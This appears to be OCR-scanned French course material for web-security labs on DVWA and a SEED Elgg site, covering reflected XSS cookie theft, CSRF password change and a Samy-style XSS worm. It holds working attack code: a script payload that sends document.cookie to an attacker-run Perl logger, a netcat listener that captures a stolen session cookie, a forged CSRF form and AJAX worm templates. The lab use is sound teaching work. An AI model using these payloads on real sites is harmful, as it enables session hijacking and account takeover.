(Sname, S$value) = split(/=/, $pair);

#translates every "+" sign back to a space
Svalue =~ tr/+/ /;

#substitute every %$HH hex pair back to its equivalent ASCII
character, using the pack() function
$value =~ s/%([a-fA-F0-9] [a—fA-F0-9]) /pack("C",
hex ($1)) /eg;

#store the values into a hash called $FORM
SFORM{$name} = $value;

print "DATE: S$DATE; NAME: S$name;VALUE: S$value<BR>\n";
print LOG "DATE: S$DATE; NAME: S$name; VALUE: S$value\n";

print "-——————————— <BR>\n";
print LOG "-——————————————— \n";

}

v Cela peut vous aider de savoir que ce code perl va étre appelé grice a la ligne suivante :
<script>document.location="http://IPaddress/cgi-bin/log.pl?'+document.cookie</script>

Sur votre machine hote, a partir d’un terminal X Faire :
cd /var/www/html/

v’ vérifiez que vous avez bien un répertoire logs
v" Qui doit étre propriétaire de ce répertoire ? Quels en sont les droits ?

Puis faire
cd /usr//lib/cgi-bin

v Vérifiez que le script perl log.pl s’y trouve et ses droits.

v' Avant de Saisir toujours dans le méme champ de DVWA la ligne suivante
<script>document.location="http://IPaddress/cgi-bin/log.pl?'+document.cookie</script>,
quelle adresse IP devez-vous saisir a la place de /Paddress dans ’'URL d’attaque ?

v' Lancez ’attaque.

<script>document.location="http://IPaddress/cgi-bin/log.pl ?'+document.cookie</script>
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él Ne pas oublier de renseigner la variable IPaddress

' DamnVulnerable w... » ldRIIGTEILTE S l<48 7] x o

€ | & 10.3.100.2/dvwa/vulnerabilities/xss_r/ v @| | Q Recherche wBE ¥+ /& 8 2 =

EiMost visited v [ ilocalhost [ Authentification [ }Comptage [ iFormulairel [ Formulaire2 [ }Sécurité1 [ iSécurité2 »

@Désactiverv A Cookiesv 2 €55+ [dFormulaires~ [Eimages~ @infos~ [EDiversv # Entourerv 4 Fenétrev JOuti

Home. | Vulnerability: Reflected Cross Site Scripting (XSS)

" ! vl
Setup | What's your name?

[it-tocation="http:/nPaddressic| | Submit

Brute Force
Command Execution

More info

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)
Upload

XSS stored

rhttp://10.3...9d32c19658 B http://localhost/csurf/ x o

€  /cgi-bin y=low; P ; v | | Q Recherche 8B 3§ A © ¥
B Most Visited v {localhost {_}Authentification {_Comptage {_Formulaire1 {_Formulaire2 { }Sécurité1 [ }Sécurité2

@0Désactiverv & Cookiesv » CSSv [JFormulairesv [@Imagesv @Infosv [@Diversv /Entourerv ¢ Fenétrev

HTTP _REFERER: http://10.3.100.2/dvwa/vulnerabilities/xss r/?name=%3Cscript%3Edocument.location
%3D%27http%3A%2F%2F10.3.100.1%2Fcgi-bin%2Flog.pl%3F%27%2Bdocument.cookie%3C%2Fscript%3
DATE: Thu Apr 25 16:04:31 CEST 2019; NAME: security;VALUE: low

DATE: Thu Apr 25 16:04:31 CEST 2019; NAME: PHPSESSID;VALUE: a206e66c7cbf3e06da60e49d32c196

v Editer le fichier /var/www/html/logs/log.txt qui vient d’étre créé. Qu’y voyez-vous ?
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HTTP_REFERER: http://10.3.100.2/dvwa/vulnerabilities/xss r/?name=%3Cscript%3Edoc
ument.location%3D%27htt %3AK2IFHN10.3.100.1%2FC i-bin%2Flog.pl%3F%27%2Bdocument.

DATE: Thu Apr 25 16:04:31 CEST 2019; NAME: security; VALUE: low
DATE: Thu Apr 25 16:84:31 CEST 2619; MNAME: PHPSESSID; VALUE: a286e66c7cbf3efs6das
@e49d32c19658

v’ Pour quelle type d’attaque peuvent servir ces informations ?

v Passer en mode medium et observer le code source php

<

Quelle est la contre mesure utilisée?

v Comment la contourner ?

v Quelle est la contre-mesure en mode High ?

5 XSS permanent

Dans le site securite6, observez la page « choix commentaire », cette page est vulnérable a une
attaque XSS.

v exploitez la faille.
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CSRF

1 Introduction

Pour appel le principe du Cross Site Request Forgery est de permettre a un attaquant de profiter
de la session ouverte par une victime sur une site 1égitime pour lui faire exécuter une action a
son insu par I’'intermédiaire d’un site relais.

Revenons sur le site DVWA pour voir comment il est possible d’en exploiter la faille CSRF qui
s’y trouve.

2 Plan du TD

Dans un premier temps, vous essaierez de forcer la voie vers le VIP Room puis vous
modifierez le code pour le rendre plus résistant.

4. — Observations
5. —Site relais
6. — Action

3 Observations

A

Ne tenez pas compte des adresses |IP mentionnées dans les captures
d’écran. Pour rappel, 'adresse de votre machine héte est 10.3.120.3 et celle
du serveur DVWA est 10.3.120.1.

v Vérifiez que vous étes en mode ‘low’
4 Cliquez le bouton CSRF
4 Visualisez le source php du serveur DVWA a I’aide du bouton ‘view source’ (en

bas a droite)
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Damn Vulnerable Web App (DVWA) v1.0.7 :: Source - Mozilla Firefox

@ 10.3.100.2/dvwa/vulnerabilities)/view_source.php?id=csrf&security=low v

CSRF Source

<7php
if (isset($_GET['Change']l)) {
$pass_new . SfGET[‘paséword‘new'];
$pass_conf = $_GET['password_conf'];

if (($pass_new == $pass_conf)){ t}
$pass_new = mysql_real escape string($pass_new);
$pass_new = md5($pass_new);

$insert="UPDATE ‘users’ SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );

echo "<pre> Password Changed </pre>";
mysql_close();

}
else{

echo "<pre> Passwords did not match. </pre>";
}

>

v Que fait ce code php ?

v Visualisez maintenant le code source interprété localement par votre navigateur
WEB ( clic droit et code source de la page)

> Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Cross Site Reque

[® Damn Vulnerable W... x YGH/ICICINE e ENIE S 5

€ e vulne P v & || Q Recherche » | =
)

DVWA)
— Vulnerability: Cross Site Request Forgery (CSRF)
mstuctions | Change your admin password:
L —
P New password: ‘ c ﬁ
‘Command Execution Confirm new past
E Enregistrer sous...
e i Change
L
SQU Wnjection (Blind) o Tout sélectionner
[Oplond |
XSS reflected d
sswond | Informations sur la page
DDVWA Security . R
——— Examiner 'élément
I — Web Developer
logmw | " )

Inspecter |'élément avec Firebug
Sy o ewsouce | veurey |
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4 Quel extrait de code vous sera utile pour faire votre site relais ?

4 Site Relais :
v Editez le fichier /var/www/html/csurf/index.html

root@ines22: /var/www/html/csurf

R!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www,u3.org/TR/xhtnll/DTD/xhtmll-strict.
dtd">

<html xmlns="http://wuw,w3,org/1999/<htnl">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body class="home">

<h3>Change your admin password:</h3> D}

<br>

<form action="#" method="GET"> New password:<br>
<input type="password" AUTOCOMPLETE="off" name="password_neuw"><br>
Confirm new password: <br>
<input type="password" AUTOCOMPLETE="off" name="password_conf">
<br>
<input type="submit" value="Change" name="Change">

</formn>

</body>
</html>

v Faire les modifications nécessaires pour exploiter la faille CSRF

AIDE : Vous devez initialiser les valeurs des deux champs password_new et

password_conf avec le méme mot de passe de votre choix ‘admin’ par exemple)

Vous devez également modifier la partie action du formulaire (remplacer #
par l’action souhaitée) afin d’intervenir sur le site cible dvwa situé sur
la vm en 10.3.120.1
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: root@ines22: /var/www/html/csurf
<IPICTYPE html PUBLIC "-//U3C//DTD ¥HTML 1.0 Strict//EN" "http://www,w3.org/TR/xhtnll/DTD/xhtnll-strict.

dtd">

<htnl xmlns="http://www,w3,.0rg/1999/<htnl"> E}
<head>
/<meta http-equiv="Content-Type" content="text/htmnl; charset=UTF-8" />
</head>

<body class="home">
<h3>Change your admin password:</h3>

<forn action="http://1 . . ‘/dvwa/vulnerabilities/csrf/7" method="GET">
<input type="password" AUTOCOMPLETE="off" name="password_new" value="admin"><br>

New password:<br>

UL® PR |
<input type="password" AUTOCOMPLETE="off" name="password_conf" value="admin">
<br>

<input type="submit" value="Change" name="Change">
<fform>
</body>
5 Action
4 Allez dans un nouvel onglet sur /localhost/csurf

A moins que votre exploit soit automatique, vous devez activer le bouton ‘Change’.

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Cross Site Request Forgery (CSRF) - Mozill

[SIOELDHAVIIGEIELICAWANEE Y Damn Vulnerable Web ... x

v | |Q Recherche wB ¥ A 0 »

€ 9| @localhost

Change your admin password:

New password:

.....

xChange
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Ecole Nationale de I'Aviation Civile

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Cross Site Request Forgery (CSRF) - Mozill

¢J Damn Vulnerable w...

x Damn Vulnerable W...

XSS reflected

XSS stored

DVWA Security

About

Logout

Username: admin
Security Level: low
PHPIDS; disabled

4

D\WR)

Vulnerability: Cross Site Request Forgery (CSRF)

wB ¥ A

»

Change your admin password:

Confirm new password:
Change

Password Changed

N

W

More info

View Source

View Help

v Sortez de votre
session (bouton logout) et
saisissez le nouveau mot de

passe

Dépt SINA Div INF Sub LSI

Damn Vulnerable Web App (DVWA) - Login - Mozilla Firefox

Damn Vulnerable Web ...

Bl Damn Vulnerableweb ... x s

€ 9| @10.3.100.2 ve|[Q Re

DWA)

Username

admin

Password

Login

»

CSRF
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€/ === e = /dvw : v &|[Q Rreche e

Voulez-vous mettre a jour le mot de passe enregistré *
pour «admin»?

Mettre a jour le mot de passe | v

LA J WISV LW AT VYV TN ““le w

=

6 Questions

v Passer en mode medium et observer le code source php
4 Quelle est la différence avec le mode low?
v Faite la méme chose en mode High
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XSS SEED LAB

1 Elgg

Vous allez travailler sur une version vulnérable de Ellg. Elgg est un moteur de réseau social

open source. (https://elgg.org/).
Le but de I’exercice est de reproduire le vers XSS « Samy » du nom de son auteur Samy

Kamkar (voir ici . https://samy.pl/myspace/ )

Le site est publié sur la machine virtuelle seeds. Si tout est bien en place, on y accede a partir

de la machine hote via I’'URL www.xsslabelgg.com

XSS Lab Site - Mozilla Firefox e ® 0

¢ Preferences x ] @ XSS Lab Site x | +

- O N 0O & &

(é)' - C @ ' ® & www.xsslabelgg.com

XSS Lab Site

Activity Blogs Bookmarks Files Groups More »

Latest activity

No activity

Les utilisateurs de Elgg et leur mot de passe :

Nom d’utilisateur Mot de passe
admin seedelgg
alice seedalice
boby seedboby
charlie seedcharlie
samy seedsamy
XSS Lab

Dépt SINA Div INF Sub LSI
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2  Observation
v' Lancez Live HTTP headers et connectez vous en tant que samy

XSS Lab Site - Mozilla Firefox e ® O
File Edit View History Bookmarks Tools Help
¢ Preferences X I @ XSS Lab Site x |+
@e c o - @ #& www.xsslabelgg.com - O 1 n o & & =

XSS Lab Site

Activity Blogs Bookmarks Files Groups More »

Latest activity Username or email

samy
No activity
Password
00000000
[ Remember me
Register | Lost password
moz-extension://be05a23d-a8ac-4ad2-b2d5-9771aad82e68 - HTTP Header Live Main - Mozilla Firefox (<]
http://wwi.xsslabelgg.com/action/login A
ost: www.xsslabelgg.com
ser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

ccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
ccept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3

ccept-Encoding: gzip, deflate

ontent-Type: application/x-www-form-urlencoded

eferer: http://www.xsslabelgg.com/activity

ookie: Elgg=606f8h3pf46181fdup8el6dgad

pgrade-Insecure-Requests: 1
elgg_token=nCStEmMt8LqfVvFEXEVtm-A&__elgg_ts=1564987644&username=samy&password=seedsamy&returntoreferer=true

POST: HTTP/1.1 302 Found
ate: .47-

[ Clear H Options H File Save ]Record pata Mautoscroll

Observez le premier message de login envoyé par le navigateur

v" Quelles sont les informations notables ?
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v' A quoi peuvent bien servir __elgg_token et __elgg ts ?

v Letsde__elgg ts sont les initiales de quoi ?

3 Afficher le cookie du visiteur

v Dans le champ « brief description » du profil de samy écrire en une petite ligne le code
javascipt qui va afficher le cookie du visiteur de la page de samy dans une fenétre
surgissante.

Pour accéder au champ Brief description du profil de Samy, déroulez le sous-menu « more »,
puis members puis samy puis edit profile.

él Ne pas oublier de sauvegarder vos modifications du profil

v Vérifiez que le cookie de session de celui qui visite la page de Samy s’affiche.

Elgg=00mof2ltsg9akrt7t0482084j4

4 Voler le cookie du visiteur

v' Avec netcat mettez en écoute votre machine hote sur le port de votre choix (5555 par
exemple)

nc —-lvn -p 5555 10.3.120.3
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root@ines22: ~ e 06 Q‘
root@ines22:"# nc -lvn -p 5555 10.3.120.31 mm

v" Toujours dans le champ « brief description » du profil de samy écrasez la ligne
précédente avec la ligne de javascript qui vous permettra d’envoyer le cookie du
visiteur sur le port choisi précédemment (5555) de votre machine héte.

La méthode javascript document.write est votre amie.

Vous devriez également voir ou revoir les possibilités offertes par la balise html <img>

root@ines22: ~ e ® 0

root@ines22:"# nc -lvn -p 5555 10,3.120.3
listening on [any] 5555 ...

connect to [10.3.120,3] from (UNKNOUN) [10.3.120.3] 49538

GET /7c=Elgg=h115scl0i9p7ighrv30aSteols HTTP/1.1

Host: 10.3.120,3:5555

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45,0) Gecko/20100101 Firefox/45.0

Accept: image/png, image/*;0=0,8,%/%;0=0.5

Accept-Language: en-US,en;o=0.5

Accept-Encoding: gzip, deflate

Referer: http://www,xsslabelgg ,com/profile/samny

Cookie: AMCY_036784BD57ABBB277F000101240Adobelrg=109943834837CMCIDTSE7C1763987CMCMIDR7C032317299134522274174
4536740044154186727CMCOPTOUT-1523976270s37CNONEZ7CvWersiond7C2,1.0

Connection: keep-alive

5 Devenir I’'ami de votre victime

5.1 Observation

Il faut avant tout observer comment se fait concreétement 1’ajout d’un ami.

v' Connectez vous en tant que boby
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Friends Activity : XSS Lab Site - Mozilla Firefox

o0

@ All Site / \ http://www | @ Samy : | @ Avertiss: | - Gestioni | @ Frienc X | http://www ‘ http://www ‘ » JSComp | xsslabelgg.« | /media/root ‘ ar

((—\\] - ¢ @& | ® www.xsslabelgg.com/activity/friends/boby v @ {}‘

3

XSS Lab Site

Activity Blogs Bookmarks Files Groups More »

Friends Activity

All Mine Friends

Filter | Show All v ]

No activity

Assurez vous que vous avez une fenétre live http Headers active

v' Ajoutez samy a votre liste d’amis.

Samy : XSS Lab Site - Mozilla Firefox

¥

X

. Boby

Blogs
Bookmarks
Files
Pages
Wire posts

InD e & @&

Account »

o0

@ AlSite /| http//www | @ Samy:) | @ Avertiss: | g Gestion: | @ Samy X | https//www | httpr//www | s JSComp | xsslabelgg.c | /media/root | +

‘((—\) > C @ | ® www.xsslabelgg.com/profile/samy R
- — =)
B & o
XSS Lab Site
Activity Blogs Bookmarks Files Groups More »
Samy Friends
Brief description: [_ No friends yet.

Add friend

Send a message

Report user

Blogs
www.xsslabelgg.com/action/friends/add?friend=47&_ _elgqg_ts=1564992114&__elgg_token=_6bn3CLIyXZulmPR70DINw \

v' Observez le contenu des en-tétes http et expliquez

Dépt SINA Div INF Sub LSI XSS Lab
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oaihatiadideaiacedadiehidiatiiioadidebiatii i oadasbikaddainadasilaisat o

http://wwni.xsslabelgg.com/action/friends/add?friend=47&_ elgg_ts=1564992114& elgg_token=_6bn3CLIyXZuImPR76DINw
Host: www.xsslabelgg.com

e Sy YRS W AP VINETEF TS IS w= S

~

(b it -

IAccept: application/json, text/javascript, */*; g=0.01
IAccept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
IAccept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
IX-Requested-With: XMLHttpRequest

Content-Length: 56

Connection: keep-alive

Referer: http://www.xsslabelgg.com/profile/samy
Cookie: Elgg=0j0gbe8osqj6fefkuabccjktrl

| _elgg_ts=1564992114&  elgg_token=_6bn3CLIyXZuImPR70D1Nw
POST: HTTP/1.1 200 OK

Date: Mon, 05 Aug 2019 08:02:47 GMT

Server: Apache/2.4.18 (Ubuntu)

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Content-Length: 307

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/json;charset=utf-8

Clear Options FileSave | [MRecord Data [Mautoscroll

v" Quelle est 1a méthode http utilisée ?

v" Que représente la valeur 47 ?

v De quelles infos avez-vous besoin pour ajouter Samy a la liste d’ami de tous ceux qui

visitent la page de Samy ?

5.2  Compléter le code

v En affichant le code source de la page d’accueil comme suit......
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http://www.xsslabelgg.com/activity - Mozilla Firefox @ ® 0 ‘
@ AlSiteAc | http//www.» | @ Samy: XS | @ Avertissen | g Gestionna | @ AUSite Ac | httpi//wwy X | http:/iwww.x | JSCompre: | xsslabelgg.co | +
&« S5 C B @ view-source:http://www.xsslabelgg.com/activity - O | ¥y iINnD © & & =

</div>
<div class="elgg-river-responses"> </div></div>
</div></li><li class="elgg-item" id="item-river-10"><div class-"elgg image-block elgg-river-item clearfix" >

<div class="elgg-image"><div class="elgg-avatar elgg-avatar-sma
<span class="elgg-icon-hover-menu elgg-icon fa fa-caret-down" x/span><ul rel="hs4qlRaLnW6BX7mqTz_jhIYbuSyOXCakuTAZry-GSpI" class="elgg-menu elgg-menu-hover
</div><div class="elgg-body">
<div class="elgg-river- sumary"><a href="http://www.xsslabelgg.com/profile/boby" class="elgg-river-subject">Boby</a> is now a friend with <a href="http://wv

<div class="elgg-river-attachments clearfix"><div class="elgg-avatar elgg-avatar-tiny">
<span class="elgg-icon-hover-menu elgg-icon fa fa-caret-down"></span><ul rel="hs4qlRaLnW6BX7mqTz__ ]h!vbusyoxcakuTAZry-GSpI" class="elgg-menu elgg-menu-hover
<span class="elgg-icon-arrow-right elgg-icon fa fa-arrow-right"></span><div class="elgg-avatar elgg-avatar-tiny">
<span class="elgg-icon-hover-menu elgg-icon fa fa-caret-down"></span><ul rel="51Y8jrkhEIdwLv0]@Deg9aIvlhOEpfO0ozFKWULPxuzg" class="elgg-menu elgg-menu-hover
</div>
<div class="elgg-river-responses"> </div></div>
</div></li></ul>  </div>
<div class="elgg-sidebar">

<form class="elgg-search elgg-search-header" action="http://www.xsslabelgg.com/search” method="get">

<fieldset>
<input placeholder="Search" type="te class="search-input" size="21" name="q" autocapitalize="off" autocorrect="off" required="required" value=""

<input type="hidden" name="search_ty, value="all" />
<input type="submit" value="Go" class="search-submit-button" />
</fieldset>

/
<div class="elgg-page-footer">
iv class="elgg-inner">

<ul class="elgg-menu elgg footer elgg hz elgg footer-meta"><li class="elgg-menu-item-powered"><a href="http://elgg.org" title="E
</div>

</div>

</div><script>
var elgg = {"config":{"lastcache":1501099743, "viewtype": "default”, "simplecache enabled":1},"security":{"token":{" elgg ts":1564726306," elgg token":"jfCs|
</script><script src="http://www.xsslabelgg. com/cache/1591999743}defau1t iquery.js"></script><script src="http://www.xsslabelgg. com/cache/1561099743/defaul
require([
] "core/river/filter"
)i
</script>

</body>
</html>

q
v ........ou en utilisant web developper comme suit.

All Site Activity : XSS Lab Site - Mozilla Firefox

o0

@ AuSite . | http//iwww | @ Samy:X | @ Avertissc | g Gestionn | @ AUSI X | http//www | http//www. | » JSComp: | xsslabelgg.c | +

> ¢ o ® #& www.xsslabelgg.com/activity - O W v IND ©® & & =

Activity Blogs Bookmarks Files Groups More »

All Site Activity Searct

Filter | Show All v

n Boby is now a friend with Samy 2 days ago

n Boby is now a friend with Samy 2 days ago

. Boby is now a friend with Samy 2 days ago

® O Inspecteur (] Console (D Débogueur {} Editeurdestyle () Performances 4 Mémoire P\, Réseau [ Stockage Ty Accessibilité 0] + X
Sources Structure @ elggjs X requirejs jquery.js B IR [va]
v BJelgg 1 if (typeof elgg != 'object') { w Expressions espionnes +
2 throw new Error('elgg configuration object is not defin
Js initjs }
JS Plugin.js 4| 7%* . T
15 ready s sprintf() for JavaScript 0.7-betal v Points d'arrét
7 http://www.diveintojavascript.com/projects/javascript-spr
15 require_config.js D Pause sur les exceptions
N t’ languages Copyright (c) Alexandru Marasteanu <alexaholic [at) gmail v Points d'arrét XHR +
All rights reserved.
Js e 3 [ | 1 AceAt A chanun 101
JS jquery-uijs @ {} L1 0}
m W token Q [] Conserver les journaux 1 élément masqué par des filtres Réinitialiser les filtres X

Avertissements Informations

»

Powered by Elgg

css Requétes
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Blogs Bookmarks Files Groups More »

All Site Activity

v
G‘ D Inspecteur Console O Débogueur {} Editeur de style () Performances 0 Mémoire N, Réseau 8 Stockage 'i' Accessibilité ﬂ see X
|0 T F Il Tout HTML CSS Polices Images Médias WS Autre Conserver les journaux Désactiver le cache ~ Aucune limitation de la band...  H.. &
tat M.. Domaine Fichier Source T.. Transfert T.. oms l i 640ms [ Entétes Cookies Paramétres Réponse  Cache  Délais
304 GET 4 www.. requ fig. mis en ¢ 79. I25ms (VLGRS T h t tp @ //www . xsslabelgg. com/cache/1501099743/default/elgg. js|
304 GET & www.. requi mis en 130ms Méthode de la requéte : GET

Adresse distante : 10.3.120.2:80
04 GET £ www.. elggjs script js misenc. Oo Code détat: 304 Not Modified (D
304 GET M www script s misen 0o 10ms  version: HTTP/1.1
304 GET fwww.. initjs script mis en 61 | 10ms Politique de référent : no-referrer-when-downgrade Modifier et renvoyer

(® 1lrequetes 268Ko/Ootransférés Terminéen:119s  DOMContentloaded: 476ms  load:13 "

W v Conserver les journaux X

€SS XHR  Requétes

v" Trouver le nom complet des variables __elgg_ts et __elgg_token

v' Complétez le code ajax suivant avec les deux Chemins trouvés :

<script type="text/Jjavascript">
window.unload=function () {
var Ajax=null;

/] récupéreration de .........ccceeeeiiniinecnncnnns
var ts="&__elgg_ts="+Compléter; //donner le nom complet de l'objet __elgg_ts
var token="&__elgg_token="+Compléter; //donner le nom complet de l'objet __elgg_token

D700 1 1] 1 31 1)
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=47"+token+ts;

F/L0) < -
Ajax=new XMLHttpRequest ();
Ajax.open ("GET", sendurl, true);
Ajax.SetRequestHeader ("Host", "www.xsslabelgg.com") ;
Ajax.SetRequestHeader ("Content-Type", "application/x—-www—form—urlencoded") ;
Ajax.send () ;

}

</script>

La méthode open de ajax établit une connexion
La méthode send de ajax envoie une requéte au serveur.

v" Pourquoi la méthode send de Ajax ( Ajax.send() ) n’envoie rien ?
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v' Expliquez ce que fait ce code. (en complétant les début de commentaires existant)

5.3 Tester

v Coller le code dans le champ « brief description » du profil de samy.
v Tester avec boby.

6  Modifier le profil de la victime

Pour mener a bien le vers XSS, Samy doit pouvoir modifier le profil des visiteurs de sa page.

6.1 Observation

v' Modifiez la rubrique « About me » du profil de Samy (bouton edit profile) et

observer avec web developper ou live http headers ce qui se passe.
moz-extension://be05a23d-a8ac-4ad2-b2d5-9771aad82e68 - HTTP Header Live Sub - Mozilla Firefox [ <]

POST v | http://www.xsslabelgg.com/action/profile/edit

[Host: www.xsslabelgg.com ] ]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; ry:68.0) Gecko/20100101 Firefox/68.0
Accept: text/himl,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr:FR;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 506

Connection: keep-alive . .

Referer: http://www.xsslabelgg.com/profile/samy/edit

Cookie: Elgg=po332n3dn5mjbbulcklbetlom2

lupgrade-Insecure-Requests: 1 "
<

> 2
| elgg token=t@hdzv1BUoH8haC yKzd0A& elgg ts=1565007438&name=Samy&description=<p>Samy 1s my hero</p> &accessleyelldescription]=2&briefde »

< I
Send Content-Length:452

6.2  Ecriture du code

v" Quelle est la méthode HTTP utilisée ici ?
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v" Quel est le nom d’utilisateur (name) et le guid que vous allez utiliser ?

v" Observez ’objet elgg décrit dans elgg.js pour savoir comment accéder au name
et au guid en question.

v' Complétez le code ci-dessous de facon a ajouter la chaine de caractéres « Samy is
my HERO » de tous ceux qui visitent la page de Samy.

<script type="text/javascript">
window.unload=function() {
// récupération des infos nécessaires
var name="&name="+¢€lgg............ ; /Il a compléter
var guid = "&guid="+elgg............ ; /I a compléter
var ts="&__elgg_ts="+elgg.security.token.__elgg._ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var desc="&description=........"+"&accesslevel%5Bdescription%5D=2"; // a compléter

//Construire le contenu de ’URL
var sendurl="http://www.xsslabelgg.com/action/......./...... "; // a compléter
Content=..eeeeeeeeennnns ; // a compléter, contenu a envoyer

Var samGuid=47 ;

if (elgg.session.user.guid!=samGuid) {

/[Créer et envoyer la requéte ajax request afin de modifier le profil de la cible
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.SetRequestHeader("Host","www.xsslabelgg.com");

Ajax.SetRequestHeader("Content-Type","application/x-www-form-

urlencoded");
Ajax.send(........... ); // a compléter

}
}

</script>
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Il faut remplacer les ....... par le code a compléter.

Samy is my Hero apparaitra dans le champ description du compte cible.

RN

Pour envoyer votre requéte, vous devez adapter le code a la méthode HTTP
utilisée ( voir doc sur Ajax.send() )

7  pour finir

v Allez sur la VM seed lab. Dans le répertoire tango de I’utilisateur seed, ouvrir le

fichier monScript.js (avec vi ou nano ou autre......
et . =

v' Qu’y a-t-il de plus dans ce code par rapport au précédent ?
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v Pourquoi est-il, important de séparer la balise </script> de la sorte :
.concat(" </").concat(" script> ") ?
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